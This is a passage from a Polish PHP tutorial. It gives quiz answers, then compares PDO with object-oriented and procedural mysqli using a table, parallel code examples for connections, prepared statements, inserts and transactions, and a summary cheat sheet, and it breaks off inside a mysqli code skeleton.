<p class="wp-block-paragraph"><strong>1.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>. Zapytanie wykonało się poprawnie, wiersz pasował do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, ale wartość się nie zmieniła (było 100, wpisujemy 100). <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> liczy wiersze <strong>faktycznie zmienione</strong>, a nie pasujące do warunku.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code> to stała, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje wyłącznie zmienne (przekazuje je przez referencję) — będzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error: ... could not be passed by reference</code>. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId = 2;</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('is', $uzytkownikId, $tytul);</code>.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> nie zwraca wierszy, więc nie ma czego odbierać przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>. Efekt sprawdzamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;affected_rows</code>.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL</code> — pierwszy warunek wskazuje zadanie, drugi pilnuje właściciela (id z formularza można podrobić, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code> nie), trzeci sprawia, że drugie kliknięcie zmieni 0 wierszy i XP nie wpadnie dwa razy.</p>



<p class="wp-block-paragraph"><strong>5.</strong> F5 powtarza żądanie POST, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> wykona się ponownie i powstanie duplikat. Rozwiązanie to <strong>PRG (Post/Redirect/Get)</strong>: POST przetwarza dane → <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> → przeglądarka pobiera stronę metodą GET, więc odświeżenie nie powtarza zapisu.</p>



<p class="wp-block-paragraph"><strong>6.</strong> Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nadane właśnie dodanemu wierszowi przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>. Zastąpiło <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>, które przy CSV musiało samo wyliczać kolejny numer.</p>



<p class="wp-block-paragraph"><strong>7.</strong> Zniknie cała zawartość tabeli, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> pokaże liczbę usuniętych wierszy. <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> jest jedynym bezpiecznikiem — baza nie zapyta „na pewno?”.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#dodatek">Dodatek</a></p>



<h2 class="wp-block-heading">PDO (PHP Data Objects) &#8211; ZALECANE dla większości projektów</h2>



<p class="wp-block-paragraph"><strong>PDO to obecnie najlepszy wybór dla nowoczesnych aplikacji PHP</strong>&nbsp;ze względu na:</p>



<ul class="wp-block-list">
<li>Uniwersalność (możliwość zmiany bazy danych)</li>



<li>Czytelność kodu (named parameters)</li>



<li>Bezpieczeństwo (domyślne prepared statements)</li>



<li>Zgodność ze standardami branżowymi</li>



<li>Wsparcie dla frameworków (Laravel, Symfony używają PDO)</li>
</ul>



<h2 class="wp-block-heading">Szczegółowe porównanie tabelaryczne</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kryterium</th><th>PDO</th><th>MySQLi (obiektowo)</th><th>MySQLi (proceduralnie)</th></tr></thead><tbody><tr><td><strong>Obsługiwane bazy danych</strong></td><td>MySQL, PostgreSQL, SQLite, Oracle, MS SQL Server</td><td>Tylko MySQL/MariaDB</td><td>Tylko MySQL/MariaDB</td></tr><tr><td><strong>Styl programowania</strong></td><td>Tylko obiektowy (nowoczesny)</td><td>Obiektowy</td><td>Proceduralny (przestarzały)</td></tr><tr><td><strong>Prepared statements</strong></td><td>Named + positional</td><td>Tylko positional</td><td>Tylko positional</td></tr><tr><td><strong>Named parameters</strong></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">:email</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">:id</code>&nbsp;(czytelne)</td><td>Tylko&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code></td><td>Tylko&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code></td></tr><tr><td><strong>Obsługa błędów</strong></td><td>Exceptions (nowoczesne)</td><td>Exceptions + kody</td><td>Głównie kody błędów</td></tr><tr><td><strong>Transakcje</strong></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">beginTransaction()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">commit()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">rollback()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">begin_transaction()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">commit()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">rollback()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_begin_transaction()</code></td></tr><tr><td><strong>Wydajność</strong></td><td>Bardzo dobra</td><td>Nieznacznie szybsza (1-2%)</td><td>Nieznacznie szybsza</td></tr><tr><td><strong>Czytelność kodu</strong></td><td>Bardzo wysoka</td><td>Wysoka</td><td>Niska</td></tr><tr><td><strong>Popularność w 2024</strong></td><td>60% projektów</td><td>35% projektów</td><td>5% projektów (legacy)</td></tr><tr><td><strong>Frameworki</strong></td><td>Laravel, Symfony, Slim, Yii</td><td>Rzadko używane</td><td>Nie używane</td></tr><tr><td><strong>Wsparcie społeczności</strong></td><td>Bardzo duże</td><td>Duże</td><td>Małe</td></tr><tr><td><strong>Łatwość nauki</strong></td><td>Bardzo łatwe</td><td>Łatwe</td><td>Łatwe ale przestarzałe</td></tr><tr><td><strong>Przenośność kodu</strong></td><td>Wysoka (zmiana bazy bez przepisywania)</td><td>Niska (tylko MySQL)</td><td>Niska</td></tr><tr><td><strong>Zgodność z OOP</strong></td><td>W pełni obiektowe</td><td>Obiektowe</td><td>Nie obiektowe</td></tr><tr><td><strong>Multiple queries</strong></td><td>Nie wspiera (bezpieczniejsze)</td><td>Wspiera</td><td>Wspiera</td></tr><tr><td><strong>Asynchroniczne zapytania</strong></td><td>Nie wspiera</td><td>Wspiera</td><td>Wspiera</td></tr><tr><td><strong>Polecane dla</strong></td><td>Nowe projekty, aplikacje komercyjne</td><td>Projekty tylko MySQL</td><td>Stare projekty (nie polecane)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Porównanie kodu &#8211; Przykłady praktyczne</h2>



<h2 class="wp-block-heading">Przykład 1: Połączenie z bazą</h2>



<h3 class="wp-block-heading">PDO (zalecane):</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=app_db;charset=utf8mb4',
        'username',
        'password',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC
        ]
    );
    echo "Połączono z bazą!";
} catch (PDOException $e) {
    die("Błąd: " . $e-&gt;getMessage());
}</code></pre>



<h3 class="wp-block-heading">MySQLi (obiektowo):</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$mysqli = new mysqli('localhost', 'username', 'password', 'app_db');

if ($mysqli-&gt;connect_error) {
    die("Błąd: " . $mysqli-&gt;connect_error);
}

$mysqli-&gt;set_charset('utf8mb4');
echo "Połączono z bazą!";</code></pre>



<h3 class="wp-block-heading">MySQLi (proceduralnie) &#8211; NIE POLECANE:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$conn = mysqli_connect('localhost', 'username', 'password', 'app_db');

if (!$conn) {
    die("Błąd: " . mysqli_connect_error());
}

mysqli_set_charset($conn, 'utf8mb4');
echo "Połączono z bazą!";</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Werdykt:</strong>&nbsp;PDO wygrywa &#8211; zwięzłe, z automatyczną obsługą wyjątków.</p>
</blockquote>



<h2 class="wp-block-heading">Przykład 2: Prepared Statements (bezpieczeństwo)</h2>



<h3 class="wp-block-heading">PDO (zalecane) &#8211; Named Parameters:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Bardzo czytelne - wiadomo co jest czym
$stmt = $pdo-&gt;prepare("SELECT * FROM users WHERE email = :email AND active = :active");
$stmt-&gt;execute(&#91;
    'email' =&gt; $email,
    'active' =&gt; 1
]);
$user = $stmt-&gt;fetch();</code></pre>



<h3 class="wp-block-heading">MySQLi (obiektowo):</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Mniej czytelne - trzeba pamiętać kolejność
$stmt = $mysqli-&gt;prepare("SELECT * FROM users WHERE email = ? AND active = ?");
$aktywny = 1;
$stmt-&gt;bind_param("si", $email, $aktywny);  // s=string, i=integer
$stmt-&gt;execute();
$result = $stmt-&gt;get_result();
$user = $result-&gt;fetch_assoc();</code></pre>



<h3 class="wp-block-heading">MySQLi (proceduralnie) &#8211; NIE POLECANE:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Najbardziej rozwlekłe
$stmt = mysqli_prepare($conn, "SELECT * FROM users WHERE email = ? AND active = ?");
$aktywny = 1;
mysqli_stmt_bind_param($stmt, "si", $email, $aktywny);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$user = mysqli_fetch_assoc($result);</code></pre>



<h2 class="wp-block-heading">Przykład 3: INSERT z pobieraniem ID</h2>



<h3 class="wp-block-heading">PDO (zalecane):</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt = $pdo-&gt;prepare("INSERT INTO users (username, email) VALUES (:username, :email)");
$stmt-&gt;execute(&#91;
    'username' =&gt; $username,
    'email' =&gt; $email
]);
$userId = $pdo-&gt;lastInsertId();
echo "Dodano użytkownika ID: $userId";</code></pre>



<h3 class="wp-block-heading">MySQLi (obiektowo):</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt = $mysqli-&gt;prepare("INSERT INTO users (username, email) VALUES (?, ?)");
$stmt-&gt;bind_param("ss", $username, $email);
$stmt-&gt;execute();
$userId = $mysqli-&gt;insert_id;
echo "Dodano użytkownika ID: $userId";</code></pre>



<h3 class="wp-block-heading">MySQLi (proceduralnie) &#8211; NIE POLECANE:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt = mysqli_prepare($conn, "INSERT INTO users (username, email) VALUES (?, ?)");
mysqli_stmt_bind_param($stmt, "ss", $username, $email);
mysqli_stmt_execute($stmt);
$userId = mysqli_insert_id($conn);
echo "Dodano użytkownika ID: $userId";</code></pre>



<h2 class="wp-block-heading">Przykład 4: Transakcje</h2>



<h3 class="wp-block-heading">PDO (zalecane):</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $pdo-&gt;beginTransaction();
    
    $pdo-&gt;exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
    $pdo-&gt;exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
    
    $pdo-&gt;commit();
    echo "Przelew wykonany!";
} catch (Exception $e) {
    $pdo-&gt;rollBack();
    echo "Błąd: " . $e-&gt;getMessage();
}</code></pre>



<h3 class="wp-block-heading">MySQLi (obiektowo):</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$mysqli-&gt;begin_transaction();

try {
    $mysqli-&gt;query("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
    $mysqli-&gt;query("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
    
    $mysqli-&gt;commit();
    echo "Przelew wykonany!";
} catch (Exception $e) {
    $mysqli-&gt;rollback();
    echo "Błąd: " . $e-&gt;getMessage();
}</code></pre>



<h3 class="wp-block-heading">MySQLi (proceduralnie) &#8211; NIE POLECANE:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_begin_transaction($conn);

$success = mysqli_query($conn, "UPDATE accounts SET balance = balance - 100 WHERE id = 1");
$success = $success &amp;&amp; mysqli_query($conn, "UPDATE accounts SET balance = balance + 100 WHERE id = 2");

if ($success) {
    mysqli_commit($conn);
    echo "Przelew wykonany!";
} else {
    mysqli_rollback($conn);
    echo "Błąd: " . mysqli_error($conn);
}</code></pre>



<h2 class="wp-block-heading">Kiedy używać którego rozwiązania?</h2>



<ul class="wp-block-list">
<li>Budujesz nowy projekt (zawsze!)</li>



<li>Chcesz mieć możliwość zmiany bazy danych w przyszłości</li>



<li>Pracujesz nad aplikacją komercyjną</li>



<li>Uczysz się nowoczesnego PHP</li>



<li>Chcesz kodu zgodnego z branżowymi standardami</li>



<li>Planujesz używać frameworków (Laravel, Symfony)</li>



<li>Cenisz czytelność kodu (named parameters)</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykłady projektów:</strong></p>



<ul class="wp-block-list">
<li>System CRM</li>



<li>E-commerce</li>



<li>Blog/CMS</li>



<li>API REST</li>



<li>Aplikacja webowa SaaS</li>



<li>Panel Discord bota</li>



<li>System zarządzania treningami</li>
</ul>



<h3 class="wp-block-heading">Używaj MySQLi (obiektowo) gdy:</h3>



<ul class="wp-block-list">
<li>Na 100% będziesz używać tylko MySQL/MariaDB</li>



<li>Potrzebujesz asynchronicznych zapytań</li>



<li>Potrzebujesz multiple statements</li>



<li>Pracujesz z istniejącym projektem używającym MySQLi</li>



<li>Wydajność jest KRYTYCZNA (różnica ~1-2%)</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykłady projektów:</strong></p>



<ul class="wp-block-list">
<li>Wysoko obciążony system (miliony zapytań/dzień)</li>



<li>Integracje wymagające multiple queries</li>



<li>Migracja starego projektu z mysql do mysqli</li>
</ul>



<h2 class="wp-block-heading">Używaj MySQLi (proceduralnie) TYLKO gdy:</h2>



<ul class="wp-block-list">
<li>Pracujesz z bardzo starym kodem legacy</li>



<li>Musisz utrzymywać stary projekt</li>
</ul>



<p class="wp-block-paragraph"><strong>NIE UŻYWAJ w nowych projektach!</strong>&nbsp;To przestarzałe podejście.</p>



<h1 id="dodatek" class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<div class="el-h2">
<h2 dir="auto" data-heading="W skrócie">W skrócie</h2>
</div>



<div class="el-p">
<p dir="auto">Ta lekcja nie wprowadza nowej funkcjonalności — porządkuje&nbsp;<strong>wybór narzędzia</strong>. Najważniejsze do zrozumienia:</p>
</div>



<div class="el-ul">
<ul class="has-list-bullet">
<li dir="auto" data-line="0"><strong>mysqli i PDO robią to samo</strong>: łączą PHP z bazą, wysyłają zapytania, odbierają wyniki. Różnią się zasięgiem i składnią, a nie możliwościami.</li>
<li dir="auto" data-line="1"><strong>Zasięg</strong>: mysqli działa tylko z MySQL/MariaDB. PDO obsługuje wiele baz — zmienia się DSN (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql:</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">pgsql:</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">sqlite:</code>), ale samo SQL i tak trzeba sprawdzić, bo dialekty się różnią. „Przenośność” nie znaczy „kod zadziała bez zmian”.</li>
<li dir="auto" data-line="2"><strong>Proceduralnie vs obiektowo</strong>:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query($conn, ...)</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$conn-&gt;query(...)</code>&nbsp;to ta sama biblioteka w dwóch stylach. Nowego kodu nie piszemy proceduralnie — wersję proceduralną trzeba jednak&nbsp;<strong>umieć przeczytać</strong>, bo pełno jej w starych poradnikach i przykładach w sieci.</li>
<li dir="auto" data-line="3"><strong>Bezpieczeństwo nie zależy od biblioteki.</strong>&nbsp;Zapytanie sklejone ze stringów jest tak samo podatne na SQL injection w PDO, jak w mysqli. Chronią&nbsp;<strong>prepared statements</strong>, a nie wybór rozszerzenia.</li>
<li dir="auto" data-line="4"><strong>Obsługa błędów wymaga ustawienia w obu:</strong>&nbsp;w PDO&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION</code>, w mysqli&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT)</code>. W nowszych wersjach PHP oba zachowują się tak domyślnie, ale piszemy je jawnie — kod nie zależy wtedy od konfiguracji serwera.</li>
<li dir="auto" data-line="5"><strong>Nie mieszamy bibliotek w jednym projekcie.</strong>&nbsp;Obiekt PDO nie ma metody&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, a obiekt mysqli nie ma&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">fetchAll()</code>. TaskQuest od Lekcji 17 korzysta z&nbsp;<strong>mysqli obiektowo</strong>&nbsp;i tak zostaje — rekomendacja PDO nie oznacza, że mysqli jest błędem.</li>
<li dir="auto" data-line="6"><strong>Kryteria realnego wyboru</strong>&nbsp;(w tej kolejności): czego używa istniejący kod projektu → czy na pewno tylko MySQL → czego wymaga framework → co zespół zna najlepiej. Wydajność w praktyce nie rozstrzyga.</li>
</ul>
</div>



<div class="el-p">
<p dir="auto">Typowe źródła błędów przy przesiadce z jednego na drugie:</p>
</div>



<div class="el-ul">
<ul class="has-list-bullet">
<li dir="auto" data-line="0">w mysqli&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>&nbsp;przyjmuje&nbsp;<strong>tylko zmienne</strong>&nbsp;(nie stałe, nie wyrażenia) i liczba liter typu musi równać się liczbie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>,</li>
<li dir="auto" data-line="1">w PDO z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">ATTR_EMULATE_PREPARES =&gt; false</code>&nbsp;wartość do&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code>&nbsp;trzeba związać jako liczbę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">bindValue(':limit', $limit, PDO::PARAM_INT)</code>), bo domyślnie pójdzie jako tekst i zapytanie się wywali,</li>
<li dir="auto" data-line="2"><code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>&nbsp;istnieje tylko w mysqli; w PDO wynik odbiera się prosto ze&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt</code>.</li>
</ul>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h2">
<h2 dir="auto" data-heading="Minimum, które powinno wejść w pamięć">Minimum, które powinno wejść w pamięć</h2>
</div>



<div class="el-p">
<p dir="auto">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>
</div>



<div class="el-ol">
<ol>
<li dir="auto" data-line="0"><strong>mysqli = tylko MySQL/MariaDB. PDO = wiele baz.</strong>&nbsp;To jest główna różnica.</li>
<li dir="auto" data-line="1"><strong>Wersja proceduralna (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_*</code>) — tylko do czytania starego kodu.</strong>&nbsp;Nie piszesz w niej nowych projektów.</li>
<li dir="auto" data-line="2"><strong>Prepared statements są w obu i to one dają bezpieczeństwo</strong>, nie sam wybór biblioteki.</li>
<li dir="auto" data-line="3"><strong>PDO ma parametry nazwane&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">:email</code>, mysqli tylko&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>&nbsp;z literami typów</strong>&nbsp;(<code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">b</code>).</li>
<li dir="auto" data-line="4"><strong>Zamknięcie połączenia:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;close()</code>&nbsp;(mysqli) /&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = null</code>&nbsp;(PDO) — na egzaminie wymagane jawnie.</li>
<li dir="auto" data-line="5"><strong>Jeden projekt = jedna biblioteka.</strong>&nbsp;Mieszanie kończy się błędem „Call to undefined method”.</li>
<li dir="auto" data-line="6"><strong>TaskQuest używa mysqli obiektowo</strong>&nbsp;— i przy tym zostajemy do końca kursu.</li>
</ol>
</div>



<div class="el-hr"><hr /></div>



<div class="el-h2">
<h2 dir="auto" data-heading="Ściągawka – najważniejsze polecenia i składnia">Ściągawka – najważniejsze polecenia i składnia</h2>
</div>



<div class="el-h3">
<h3 dir="auto" data-heading="Te same czynności w obu bibliotekach">Te same czynności w obu bibliotekach</h3>
</div>



<div class="el-table" dir="ltr">
<table>
<thead>
<tr>
<th dir="ltr">Czynność</th>
<th dir="ltr">mysqli (obiektowo)</th>
<th dir="ltr">PDO</th>
</tr>
</thead>
<tbody>
<tr>
<td dir="ltr">Połączenie</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli($host, $user, $pass, $baza)</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">new PDO("mysql:host=$host;dbname=$baza;charset=utf8mb4", $user, $pass)</code></td>
</tr>
<tr>
<td dir="ltr">Kodowanie</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;set_charset('utf8mb4')</code></td>
<td dir="ltr">w DSN: <code class="prettyprint lang-sql" style="font-size: 0.85em;">charset=utf8mb4</code></td>
</tr>
<tr>
<td dir="ltr">Błędy jako wyjątki</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(MYSQLI_REPORT_ERROR \| MYSQLI_REPORT_STRICT)</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION</code></td>
</tr>
<tr>
<td dir="ltr">Klasa wyjątku</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_sql_exception</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDOException</code></td>
</tr>
<tr>
<td dir="ltr">Przygotowanie</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st = $db-&gt;prepare('... WHERE id = ?')</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st = $pdo-&gt;prepare('... WHERE id = :id')</code></td>
</tr>
<tr>
<td dir="ltr">Podstawienie danych</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;bind_param('i', $id)</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;execute()</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;execute(['id' =&gt; $id])</code></td>
</tr>
<tr>
<td dir="ltr">Wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $st-&gt;get_result()</code></td>
<td dir="ltr">wprost ze <code class="prettyprint lang-sql" style="font-size: 0.85em;">$st</code></td>
</tr>
<tr>
<td dir="ltr">Jeden wiersz</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik-&gt;fetch_assoc()</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;fetch()</code></td>
</tr>
<tr>
<td dir="ltr">Wszystkie wiersze</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik-&gt;fetch_all(MYSQLI_ASSOC)</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;fetchAll()</code></td>
</tr>
<tr>
<td dir="ltr">Liczba wierszy <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik-&gt;num_rows</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">count($st-&gt;fetchAll())</code></td>
</tr>
<tr>
<td dir="ltr">Zmienione wiersze</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;affected_rows</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;rowCount()</code></td>
</tr>
<tr>
<td dir="ltr">Id po <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$st-&gt;insert_id</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo-&gt;lastInsertId()</code></td>
</tr>
<tr>
<td dir="ltr">Transakcje</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">begin_transaction()</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">commit()</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">rollback()</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">beginTransaction()</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">commit()</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">rollBack()</code></td>
</tr>
<tr>
<td dir="ltr">Zamknięcie</td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;close()</code></td>
<td dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = null;</code></td>
</tr>
</tbody>
</table>
</div>



<div class="el-h3">
<h3 dir="auto" data-heading="Szkielet – mysqli obiektowo">Szkielet – mysqli obiektowo</h3>
</div>



<div class="el-pre">
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token function">mysqli_report</span><span class="token punctuation">(</span><span class="token class-name">MYSQLI_REPORT_ERROR</span> <span class="token operator">|</span> <span class="token class-name">MYSQLI_REPORT_STRICT</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$polaczenie</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">mysqli</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'localhost'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'root'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'nazwa_bazy'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$polaczenie</span><span class="token operator">-&gt;</span><span class="token function">set_charset</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'utf8mb4'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token variable">$zapytanie</span> <span class="token operator">=</span> <span class="token variable">$polaczenie</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'SELECT id, nazwa FROM obiekty WHERE idKontynent = ?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token function">bind_param</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'i'</span><span class="token punctuation">,</span> <span class="token variable">$idKontynent</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$wynik</span> <span class="token operator">=</span> <span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token function">get_result</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

